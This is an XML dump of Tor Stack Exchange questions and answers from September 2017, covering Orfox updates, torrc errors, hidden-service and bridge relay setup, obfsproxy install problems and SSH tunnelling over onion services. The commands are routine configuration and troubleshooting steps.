case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For normal browsing it's a different case, there PB can learn and block most forms of tracking.&lt;/p&gt;&#xA;" OwnerUserId="19244" LastActivityDate="2017-09-23T00:08:21.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15772" PostTypeId="1" CreationDate="2017-09-23T07:34:00.777" Score="0" ViewCount="950" Body="&lt;p&gt;Can somebody please help me, cant find a way to update browser through orbot which is basically tor on android cellphone , i tried on different types of androids each of them says the same thing ...&#xA;Trying to login my bitcoin account through tor(cellphone)&#xA;says firefox 38 is not supported need 45 or newer&lt;/p&gt;&#xA;" OwnerUserId="19245" LastActivityDate="2018-10-08T13:00:27.940" Title="Trying to use orbot/orfox (TOR) on Android on this website thats says Firefox 38 not supported need FIREFOX 45 or newer" Tags="|orbot|firefox|update|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15773" PostTypeId="2" ParentId="14253" CreationDate="2017-09-23T08:56:56.913" Score="7" Body="&lt;p&gt;In Terminal, run &quot;&lt;code&gt;sudo lsof -n -P | grep LISTEN | grep tor&lt;/code&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see a process named &quot;tor.real&quot; listening on ports 9150 and/or 9151, kill it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then launch TorBrowser again.&lt;/p&gt;&#xA;" OwnerUserId="19246" LastEditorUserId="88" LastEditDate="2017-09-23T21:12:00.530" LastActivityDate="2017-09-23T21:12:00.530" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15775" PostTypeId="2" ParentId="15761" CreationDate="2017-09-23T10:42:09.017" Score="2" Body="&lt;p&gt;it is safe, exit nodes will not be able to steal your money or passwords. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you install electrum, software can automatically connect to servers to sync, you can disable network on your PC/laptop until you setup electrum to use proxy (Tor). then you restart electrum and then enable network (ethernet or wifi). every time you use electrum, it will not sync until you start tor. don't forget you can use desktop but also portable electrum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;don't forget that some web wallets i.e. websites can block Tor IPs or they can see you use it and they can demand verification process. many of them also use javascript and website's design will be changed if you disable JS in Tor. &lt;/p&gt;&#xA;" OwnerUserId="19203" LastActivityDate="2017-09-23T10:42:09.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15776" PostTypeId="1" CreationDate="2017-09-23T14:45:29.733" Score="1" ViewCount="1110" Body="&lt;p&gt;I am having error while running tor on my kali linux &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sep 23 14:39:22.267 [notice] Tor 0.3.0.10 (git-5da2fc629a0670b3) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.0f and Zlib 1.2.8.&lt;br /&gt;&#xA;  Sep 23 14:39:22.267 [notice] Tor can't help you if you use it wrong! Learn how to be safe at &lt;a href=&quot;https://www.torproject.org/download/download#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download#warning&lt;/a&gt;&#xA;  Sep 23 14:39:22.267 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;  Sep 23 14:39:22.270 [warn] Failed to parse/validate config: Unknown option '16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C'.  Failing.&#xA;  Sep 23 14:39:22.270 [err] Reading config failed--see warnings above.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;UPDATE: This is my /etc/tor/torrc file (only relevant parts):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword &#xA;16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19252" LastEditorUserId="88" LastEditDate="2019-06-07T21:46:24.570" LastActivityDate="2019-06-07T21:46:24.570" Title="Can't connect to Tor" Tags="|configuration|help|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15777" PostTypeId="2" ParentId="15765" CreationDate="2017-09-23T17:10:43.303" Score="1" Body="&lt;p&gt;I can reproduce the problem. I first assumed that it was a bad exit node. Tor doesn't add an additional encryption layer to the last leg between exit node and a regular (non-.onion) website. So exit nodes can eavesdrop or perform a man-in-the-middle attack if they want to and that connection isn't encrypted in some other way. However, that page appears in the HTTPS version, and the certificate checks out. It's the same I get when I access the website normally. It's a certificate by Let's Encrypt with the following SHA-256 fingerprint:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;12:C2:BE:3A:92:F6:BC:9E:11:11:FE:D4:AB:CA:99:34:92:EE:EF:4C:A2:67:AD:93:89:F1:5C:C9:CE:8F:3C:3A&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That can only mean one of two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It's legit. This is actually the page the asstr.org webmaster wants you to see when you access their website with TOR.&lt;/li&gt;&#xA;&lt;li&gt;The admin of the exit node somehow obtained the private key from asstr.org, allowing them to impersonate them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3115" LastEditorUserId="3115" LastEditDate="2017-09-24T01:07:16.137" LastActivityDate="2017-09-24T01:07:16.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15778" PostTypeId="2" ParentId="15725" CreationDate="2017-09-23T17:29:23.130" Score="0" Body="&lt;p&gt;So - your problem looks like a stock firmware issue, I have had it myself quite often even on a powerful/hardware-beefy routers. Your router looks like to be supported by OpenWRT - check the &lt;a href=&quot;https://wiki.openwrt.org/toh/start?dataflt%5BBrand*~%5D=netgear&amp;amp;dataflt%5BModel*~%5D=dg834G&quot; rel=&quot;nofollow noreferrer&quot;&gt;official hardware table&lt;/a&gt; for details. So - if your revision is listed there - try OpenWRT and feel the difference. If it's not enough or not supported - I do recommend you to pick a router supported by &lt;a href=&quot;https://lede-project.org/toh/start&quot; rel=&quot;nofollow noreferrer&quot;&gt;LeDe project&lt;/a&gt; or OpenWRT(linked upstrings) and grab a more powerful router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The root of the problem resides in two parts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First of all, it's a &lt;strong&gt;very limited hardware resources&lt;/strong&gt; on your router - it looks like 4Mb flash and 16Mb RAM. I know, maybe it sounds ridiculous, but your router vendor is the one to blame: MIPS CPUs on even the cheapest routers are capable of at least 64MB of RAM and ROM, usually more - for &lt;em&gt;both&lt;/em&gt; of them. But these fatcats just want you to spend your money on new models.&lt;/li&gt;&#xA;&lt;li&gt;On even the good ones you often can see up to 1.5x-3x connection number on OpenWRT/LeDe - why? Because of the firmware config that can not be changer. Very basically speaking, it's Linux kernel sysctl's and kernel timer(HZ settings) that are just set not to be right and not allowing you to fully utilize the hardware - even a decent one. Sadistical part of this is that as to my knowledge - &lt;strong&gt;NO official firmware exists that allows you to change these settings&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So - a cost-effective variant will be to buy the router at your local shop with 128(or better 256) megs of RAM and at least 32MB of ROM, and it should have a USB port - so you'll be able to utilize it as a storage for your router OS/firmware of a decent size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask further questions if you have any - I'm glad to help! Usually it takes about 100 USD to grab a very good router that can be used with OpenWRT or LeDe(usually both - and prefer LeDe there, because it has a newer Linux kernel inside).&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-23T17:29:23.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15783" PostTypeId="2" ParentId="15772" CreationDate="2017-09-24T12:14:48.833" Score="-1" Body="&lt;p&gt;Download APKPure and see if in your installed apps if there is an update for you. It will be the same as when you update your apps and system apps on Google Play Store.&lt;/p&gt;&#xA;" OwnerUserId="19263" LastActivityDate="2017-09-24T12:14:48.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15785" PostTypeId="1" AcceptedAnswerId="15786" CreationDate="2017-09-24T16:54:45.967" Score="0" ViewCount="295" Body="&lt;p&gt;Can I somehow reduce the time it takes Tor to shutdown? In my log I see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Interrupt: we have stopped accepting new connections, and will shut down in 30 seconds. Interrupt again to exit now.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I am running it as service I could send it a signal to stop, but I would prefer a configuration-wise solution?&lt;/p&gt;&#xA;" OwnerUserId="18808" LastActivityDate="2017-10-15T13:56:31.683" Title="Reducing Tor service shutdown time" Tags="|configuration|server|server-administration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15786" PostTypeId="2" ParentId="15785" CreationDate="2017-09-24T21:13:11.323" Score="1" Body="&lt;p&gt;The short answer &quot;you can't&quot;, the description is: after sending a termination signal - it's wise to let the network find another chains, so that's why there's a delay in order, and there's absolutely nothing wrong with it. To reduce the delay - it does &lt;strong&gt;not&lt;/strong&gt; works all the times - you can set via ControlPort &quot;DisableNetwork 1&quot; and give Tor 5-10 seconds, then you'll shut it down. But it does not works faster all the times, so - as my advise - just let it finish itself in a regular way, there's no hurry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as a side note - you should script the 2nd interrupt shutdown for emergency shutdown cases, like your UPS battery is almost gone: the faster the shutdown is in that cases - the better, because it will prevent the filesystem corruption. Usual shutdown timings for tor are about 10-15 seconds as for me, so - thats' the strategy I'm proposing for your &quot;fast shutdown case&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;If you're using SystemD&lt;/strong&gt; - then you have nothing to worry about, as I've switched on it on some of my VMs, it's not a problem at all in case of Debian stretch - VM shuts itself down in 2-5 seconds more time than just a blank one.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;If you're using daemontools and/or init.d scripts&lt;/strong&gt; - just send a &quot;DisableNetwork 1&quot; &lt;em&gt;a 2-3 seconds before&lt;/em&gt; sending the shutdown machine-wide via &lt;code&gt;shutdown&lt;/code&gt; command, that's how it working in my old-style setups I was talking about in original answer. a good workaround here can be the next trick: rename the original shutdown-commands binaries to something like &lt;code&gt;shutdown.orig&lt;/code&gt;, make your own scripts with the original command names - and in that scripts before calling &quot;the orig's&quot; do the telnetting &quot;disablenetwork 1&quot; and sleep for 3 seconds. That's exactly how I'm doing it. So all of your previous machine management scripts will be working as usual, no need to patch every of them - just put scripts at the exact place of the old binaries.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-10-14T01:54:10.673" LastActivityDate="2017-10-14T01:54:10.673" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15788" PostTypeId="2" ParentId="14910" CreationDate="2017-09-24T21:51:26.767" Score="0" Body="&lt;p&gt;The question separates in 2 patrs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;If the code is unmodified for tracking&lt;/em&gt; - just your IP address. And that's it. Yes, using Tor control protocol, you can collect and log them, no full logs are possible via &lt;code&gt;torrc&lt;/code&gt; config&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;If code was tailored&lt;/em&gt; - well, it depends on the tailoring techniques. It's likely to have a middle node IP address as well, but - in case of standard 3-hop long chain - it can not track the exit fully. But if you're using HTTPS and proper security &lt;strong&gt;on your endpoint&lt;/strong&gt; - there's no harm possible to cause just by injecting a malicious entry node. Anyway, it can &lt;strong&gt;NOT&lt;/strong&gt; see what you're doing, what DNS and HTTP+HTTPS requests you're making and so on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-24T21:51:26.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15790" PostTypeId="1" CreationDate="2017-09-24T22:06:44.323" Score="0" ViewCount="1271" Body="&lt;p&gt;When running a hidden service, should the operator run own entry guard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logic be that if the entry guard run by operator, no possible way for traffic correlation by malicious people. Traffic correlation requires the entry guard to correlate traffic to obtain IP of the hidden service.&lt;/p&gt;&#xA;" OwnerUserId="19269" LastActivityDate="2021-12-20T18:07:45.687" Title="Prevent traffic correlation/timing attack" Tags="|configuration|onion-services|security|censorship|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15792" PostTypeId="2" ParentId="15761" CreationDate="2017-09-25T12:05:18.423" Score="2" Body="&lt;p&gt;When it comes to web wallets it is important to use an encrypted (HTTPS or Tor Onion Service) connection. However the bigger risk lies in the security of the website itself. In the past those sites were hacked and wallets exfiltrated. So it seems more important to have a look at the security of such sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to desktop wallets it is also important to make sure that they use encrypted channels for communication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you make sure that all data are encrypted it is quite unlikely (if not impossible) that an operator of a Tor relay can steal credentials.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-09-25T12:05:18.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15794" PostTypeId="1" CreationDate="2017-09-26T04:35:54.997" Score="0" ViewCount="446" Body="&lt;p&gt;Is a default GPG request routed through Tor by default on Tails or should I wrap it around Torify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;code&gt;gpg --receive-keys &quot;0x2bd5824b7f9470e6&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or it should be: &lt;code&gt;torify gpg --receive-keys &quot;0x2bd5824b7f9470e6&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen that Tails routes most traffic through tor but I am not sure if the terminal commands are too, so should I use torify here or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am also askin about &lt;a href=&quot;https://wiki.gnome.org/Apps/Seahorse/&quot; rel=&quot;nofollow noreferrer&quot;&gt;seahorse's&lt;/a&gt; &lt;strong&gt;&quot;Find Remote Keys&quot;&lt;/strong&gt; option, is that routed through Tor or not?)&lt;/p&gt;&#xA;" OwnerUserId="18971" LastActivityDate="2022-01-06T04:03:20.293" Title="Is GPG request routed through Tor or should I use torify? (Tails)" Tags="|tails|torify|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15796" PostTypeId="1" CreationDate="2017-09-26T10:17:24.753" Score="1" ViewCount="304" Body="&lt;p&gt;I have Ubuntu 17.04 and have installed Obfsproxy:&#xA;sudo apt install obfsproxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installation was successfull, so I run it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo obfsproxy -v&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/usr/bin/obfsproxy&quot;, line 6, in &amp;lt;module&amp;gt;&#xA;    from pkg_resources import load_entry_point&#xA;  File &quot;/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py&quot;,&#xA;line 3019, in &amp;lt;module&amp;gt;&#xA;    @_call_aside&#xA;  File &quot;/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py&quot;,&#xA;line 3003, in _call_aside&#xA;    f(*args, **kwargs)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py&quot;,&#xA;line 3032, in _initialize_master_working_set&#xA;    working_set = WorkingSet._build_master()&#xA;  File &quot;/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py&quot;,&#xA;line 646, in _build_master&#xA;    ws = cls()&#xA;  File &quot;/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py&quot;,&#xA;line 639, in __init__&#xA;    self.add_entry(entry)&#xA;  File &quot;/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py&quot;,&#xA;line 695, in add_entry&#xA;    for dist in find_distributions(entry, True):&#xA;  File &quot;/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py&quot;,&#xA;line 2012, in find_on_path&#xA;    if len(os.listdir(fullpath)) == 0:&#xA;OSError: [Errno 13] Permission denied:&#xA;'/usr/local/lib/python2.7/dist-packages/zope.interface-4.4.2.dist-info'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="19280" LastActivityDate="2017-09-27T02:25:09.523" Title="Obfsproxy error on Ubuntu 17.04" Tags="|obfsproxy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15800" PostTypeId="2" ParentId="15796" CreationDate="2017-09-26T17:48:37.970" Score="1" Body="&lt;p&gt;OK, found the problem... I have installed some packages through pip before and it seems there are some conflicts in Ubuntu... So you need to install Obfsproxy to virtual environment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo pip install virtualenv&#xA;virtualenv venv&#xA;source ~/venv/bin/activate&#xA;pip install obfsproxy&#xA;&#xA;~/venv/bin/obfsproxy -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19280" LastActivityDate="2017-09-26T17:48:37.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15801" PostTypeId="2" ParentId="15794" CreationDate="2017-09-26T18:42:09.127" Score="0" Body="&lt;p&gt;Everything on Tails either goes through Tor or cannot connect to the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Tails, GnuPG's &lt;code&gt;dirmngr&lt;/code&gt; (which is used to fetch keys), is configured to use Tor by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The request will go over Tor even without &lt;code&gt;torify&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-26T18:42:09.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15805" PostTypeId="1" AcceptedAnswerId="15809" CreationDate="2017-09-26T23:43:11.123" Score="0" ViewCount="735" Body="&lt;p&gt;Hello everyone.To begin with i write a Server in Java (or maybe i will use an an existing more efficient you know),  to serve a Hidden Service. With a few words  i configure it so that it will accept TCP connections with a serverSocket only from localhost/127.0.0.1 on a port of my choosing. Below follows my setup of torcc file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 9053 127.0.0.1:2096&#xA;PidFile pid&#xA;RunAsDaemon 1&#xA;SafeSocks 1&#xA;SocksListenAddress 127.0.0.1&#xA;SocksPort 9020&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question now is and correct me if I'm wrong The HiddenServicePort directive tells tor on which port to listen, to forward to which ip and to which port and after that i go and bind a serversocket in that local port and i am waiting for connections. How secure is this? Do i need to establish an ssl in the local ServerSocket to make it more legit.&lt;/p&gt;&#xA;" OwnerUserId="9438" LastActivityDate="2017-09-27T02:32:37.877" Title="How to set up a Tor hidden service and bind a ServerSocket with secure" Tags="|onion-services|torsocks|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15809" PostTypeId="2" ParentId="15805" CreationDate="2017-09-27T02:32:37.877" Score="0" Body="&lt;p&gt;You need &lt;strong&gt;before&lt;/strong&gt; the &lt;code&gt;HiddenServicePort&lt;/code&gt; line(s) a line &lt;code&gt;HiddenServiceDir /full/path/to/hs/dir&lt;/code&gt;. The suggestion is right, it's basically &quot;HiddenServicePort [port-to-listen-on] -&gt; [ip-to-forward-the-request-to]:[port-to-forward-the-request-to]&quot;. For localhost it's normal just to have a socket binded &lt;em&gt;tightly&lt;/em&gt; to exactly the TCP pair &quot;[ip-to-forward-the-request-to]:[port-to-forward-the-request-to]&quot;. If someone owns your box - there's no way to make it more secure on localhost. If you want to make it some sort of additional security layer - use iptables ability to restrict the usernames for port rules, but it's only until root/sudoer account is breached&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-27T02:32:37.877" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15810" PostTypeId="2" ParentId="15776" CreationDate="2017-09-27T03:25:48.377" Score="2" Body="&lt;p&gt;You have accidently pressed the Enter when you was editing it - right here :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#HashedControlPassword &#xA;16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;#CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it should be starting # symbol to make a line a comment. It was like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;#CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So either restore the comment or add a # before 16:xxx line&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-27T03:25:48.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15812" PostTypeId="1" CreationDate="2017-09-27T23:34:26.520" Score="0" ViewCount="722" Body="&lt;p&gt;Parsing the Tor Consensus gives us the IP Addresses of active relays in the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of getting a relay's descriptors from that particular relay itself ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :) &lt;/p&gt;&#xA;" OwnerUserId="17117" LastEditorUserId="17117" LastEditDate="2017-09-28T02:37:53.220" LastActivityDate="2017-12-26T09:33:09.063" Title="Can we query a Relay to get its descriptors?" Tags="|stem|node|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15813" PostTypeId="1" CreationDate="2017-09-28T01:39:47.390" Score="1" ViewCount="751" Body="&lt;p&gt;Default arm's torrc path is &lt;code&gt;~/.arm/torrc&lt;/code&gt;, how can a change it to &lt;code&gt;/etc/tor/torrc&lt;/code&gt;? I has searched in arm's documentation but can not find a solution.&lt;/p&gt;&#xA;" OwnerUserId="19090" LastEditorUserId="88" LastEditDate="2020-09-07T22:34:41.183" LastActivityDate="2022-01-31T03:09:26.103" Title="How change arm's torrc path?" Tags="|configuration|nyx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15815" PostTypeId="1" CreationDate="2017-09-28T09:45:07.107" Score="0" ViewCount="1101" Body="&lt;p&gt;So, I have 2 vms: &quot;first&quot; and &quot;second&quot;. On &quot;first&quot; start hidden tor service on port 1234, this port forward to ssh port on locahost.  From &quot;second&quot; i can connect to 1234 and get ssh shell. However, i`l try to create reverse connect from:  throw local port &quot;first&quot; connect to local port on &quot;second&quot;. Connection established, but when connect on local port &quot;first&quot; failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deatils:&#xA;&quot;second&quot;  -  torsocks ssh  -C -i priv -v -R 192.168.48.2:2222:192.168.48.1:1000 -p 80 user@dhfghdfgjhfg.onion&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;debug1: remote forward success for: listen 192.168.48.2:2222, connect 192.168.48.1:1000&#xA;debug1: All remote forwarding requests processed&#xA;debug1: Sending environment.&#xA;debug1: Sending env LANG = en_US.UTF-8&#xA;pidr@ubuntu:~$ debug1: client_input_channel_open: ctype forwarded-tcpip rchan 3 win 2097152 max 32768&#xA;debug1: client_request_forwarded_tcpip: listen 192.168.48.2 port 2222, originator 127.0.0.1 port 36028&#xA;1506591602 ERROR torsocks[4036]: General SOCKS server failure (in socks5_recv_connect_reply() at socks5.c:533)&#xA;          debug1: connect_next: host 192.168.48.1 ([192.168.48.1]:1000): Connection refused&#xA;connect to 192.168.48.1 port 1000 failed: Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19300" LastActivityDate="2017-09-28T13:39:13.640" Title="ssh reverse connect tor" Tags="|torsocks|ssh|tunnel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15817" PostTypeId="2" ParentId="15815" CreationDate="2017-09-28T13:39:13.640" Score="3" Body="&lt;p&gt;So , i solved the problem.&#xA;Change torsocks to ssh -o &quot;ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport=9050&quot;&#xA;and now a can create reverse connect from device to my server.&lt;/p&gt;&#xA;" OwnerUserId="19300" LastActivityDate="2017-09-28T13:39:13.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15818" PostTypeId="1" CreationDate="2017-09-28T17:07:31.277" Score="0" ViewCount="853" Body="&lt;p&gt;I have been trying to set up a relay from a laptop running Ubuntu 16.04 connected to the internet through a BT Home Hub 6, and am having a problem reported as being with Port 9001 not being reachable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong, or what settings in my torrc file, or on the Home Hub 6 setup, do I have to add, delete or change?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I trying to do the impossible, and should forget about setting up any or all of a bridge relay, a full relay or an exit relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The active commands in my torrc file are shown below.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SOCKSPort 0 # Default: Bind to localhost:9050 for local connections. &#xA;Log notice file /home/XXXXXX/tor/notices.log&#xA;ORPort 9001 &#xA;BridgeRelay 1 &#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy &#xA;ExtORPort auto &#xA;Nickname ieditconfig100times &#xA;RelayBandwidthRate 2500 KBytes  # Throttle traffic to 100KB/s (800Kbps) &#xA;RelayBandwidthBurst 5000 KBytes # But allow bursts up to 200KB (1600Kb) &#xA;AccountingMax 100 GBytes&#xA;AccountingStart day 03:00 &#xA;ContactInfo Xxxxxx Yyyyy &amp;lt;zzzzzzzzzzz@yahoo.co.uk&amp;gt; &#xA;ExitPolicy reject *:*, # no exits allowed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The message in the notices.log file ends with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 28 17:20:28.000 [warn] Your server (XX.YYY.ZZZ.AAA:9001) has not managed to confirm that its ORPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19303" LastEditorUserId="9291" LastEditDate="2017-09-28T20:49:04.753" LastActivityDate="2022-04-06T21:06:05.740" Title="Problems setting up Tor bridges and relays with UK internet BT Home Hub 6" Tags="|configuration|bridge|ubuntu|firewall|routers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15820" PostTypeId="2" ParentId="15818" CreationDate="2017-09-28T19:59:10.063" Score="0" Body="&lt;p&gt;You will likely need to set up Port Forwarding on the HomeHub itself, what is happening is that Tor is trying to connect into your Ubuntu computer, but the traffic is pointed at the HomeHub's IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HomeHub is getting the traffic but it doesn't know what to do with it, you need to configure the HomeHub so that it knows that if it recieves traffic from the internet on port 9001, it should forward it to your Ubuntu systems LAN IP address (e.g. 192.168.1.2) on port 9001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BT have some guides for this &lt;a href=&quot;https://bt.custhelp.com/app/answers/detail/a_id/8790/~/how-do-i-set-up-port-forwarding-on-my-bt-hub%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;on their customer support section&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're looking to be an obfs4 bridge, you should also know that obfs4proxy runs on another port entirely, it should report what port it is listening on in the Tor logs. You'll want to setup the same forwarding you did for 9001 but for the port that obfs4 is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another step you'll likely want to take in Ubuntu is to open up the port in the local &lt;code&gt;ufw&lt;/code&gt; packet filter (&quot;&lt;em&gt;firewall&lt;/em&gt;&quot;), by issuing the command: &lt;code&gt;sudo ufw allow 9001/tcp&lt;/code&gt; and again you need to do this for the obfs4 port, just changing &lt;code&gt;9001&lt;/code&gt; for whatever port obfs4 is using.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-28T19:59:10.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
